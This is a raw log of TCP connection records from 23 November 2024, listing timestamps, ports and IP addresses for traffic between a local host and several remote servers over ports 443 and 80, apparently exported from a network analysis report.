Nov 23, 2024 05:02:46.660886049 CET	49853	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.661509991 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.661556005 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.661751032 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.661988020 CET	49855	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.661998034 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.662235022 CET	49855	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.662336111 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.662343979 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.662395954 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.662688017 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.662750959 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.662769079 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.665755033 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.665788889 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.665987015 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.666014910 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.666054964 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.666078091 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.666114092 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.666254044 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.666302919 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.666316986 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.666814089 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.666871071 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.666886091 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.674729109 CET	49853	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.674743891 CET	443	49853	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.674987078 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.675025940 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.675218105 CET	49855	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.675235987 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.678539038 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.678549051 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.678845882 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.678879023 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.748042107 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.753709078 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.757246017 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.757311106 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.757333994 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.764488935 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.764748096 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.764775991 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.772341013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:46.774972916 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.775063992 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.775080919 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.783250093 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.783344030 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.783359051 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.791740894 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.791800976 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.791814089 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.805521011 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.805593014 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.805613995 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.819175005 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.819272995 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.819288969 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.832890034 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.832969904 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.832976103 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.845516920 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.845598936 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.845607996 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.857369900 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.858078003 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.858093023 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.869381905 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.869486094 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.869501114 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.881165981 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.881272078 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.881297112 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.891803026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:46.892756939 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.892852068 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.892868042 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.917727947 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.917880058 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.917910099 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.918664932 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.919526100 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.919533968 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.919989109 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.919996023 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.920959949 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.921284914 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.921307087 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.921843052 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.921849966 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.921868086 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.921914101 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.921925068 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.921946049 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.921999931 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.924993992 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.925441027 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.925472021 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.925816059 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.925822973 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.930428982 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.964196920 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.964373112 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.964413881 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.969690084 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.969743967 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.969749928 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.969767094 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.969818115 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.974026918 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.978415012 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.978472948 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.978490114 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.982783079 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.982856989 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.982872009 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.986185074 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.986838102 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.986864090 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.986979961 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.987034082 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.987049103 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.987559080 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.987571001 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.994337082 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.994396925 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.994426966 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.994442940 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.994498968 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.998667002 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.004179001 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.004261971 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.004266977 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.004282951 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.004339933 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.008764029 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.014164925 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.014224052 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.014240980 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.021820068 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.021912098 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.021967888 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.021982908 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.022243023 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.037194014 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.038846970 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.038904905 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.038912058 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.044456005 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.044506073 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.044531107 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.044538021 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.044601917 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.056029081 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.067642927 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.067708969 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.067724943 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.080707073 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.080760956 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.080768108 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.080791950 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.080849886 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.084564924 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.085323095 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.085340977 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.085767031 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.085772038 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.092622995 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.093894958 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.093955040 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.093965054 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.093982935 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.094094992 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.096508980 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.104053974 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.104110956 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.104125977 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.106774092 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.106847048 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.106862068 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.159923077 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.160017967 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.160043955 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.164758921 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.164817095 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.164820910 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.164836884 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.164891005 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.165709972 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.166501045 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.166570902 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.166945934 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:47.166980028 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:47.275510073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275536060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275551081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275582075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.275624037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.275638103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275650024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275661945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275674105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275674105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.275686026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275698900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.275698900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.275723934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.275746107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.283941984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.283987999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.284018993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.284074068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.352432013 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.352516890 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.352591991 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.354721069 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.354772091 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.354887009 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.357317924 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.357500076 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.357595921 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.374653101 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.374669075 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.374723911 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.374731064 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.377370119 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.377418041 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.377774000 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.378932953 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.378964901 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.379024982 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.379031897 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.379673958 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.379678965 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.379765987 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.379770994 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.381859064 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.381933928 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.382076025 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.387442112 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.387459040 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.389859915 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.389894962 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.390032053 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.390419960 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.390451908 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.391412973 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.391438007 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.392932892 CET	49861	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.392966986 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.393043995 CET	49861	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.393224001 CET	49861	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.393239975 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.400317907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.400369883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.400384903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.400419950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.429786921 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.429843903 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.429991007 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.430622101 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.430622101 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.430639982 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.430649042 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.435272932 CET	49862	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.435309887 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.435553074 CET	49862	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.435878038 CET	49862	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.435889959 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.476658106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.476721048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.476787090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.476824999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.480715990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.480767965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.480802059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.480838060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.487036943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.487082005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.487099886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.487140894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.495162010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.495224953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.495271921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.495321989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.503320932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.503374100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.503422976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.503552914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.511497974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.511512041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.511557102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.519630909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.519658089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.519690990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.519721985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.527779102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.527832031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.527894020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.528047085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.535993099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.536070108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.536075115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.536112070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.538083076 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.538156033 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.538237095 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.543591976 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.543591976 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.543621063 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.543631077 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.544095039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.544146061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.544164896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.544203997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.552237034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.552525043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.555847883 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.555871010 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.556013107 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.556211948 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.556225061 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.601475954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.601545095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.601555109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.601630926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.605505943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.606246948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.677972078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.678015947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.678046942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.678092003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.680519104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.680579901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.680623055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.680664062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.685504913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.685616970 CET	80	49819	185.215.113.206	192.168.2.6
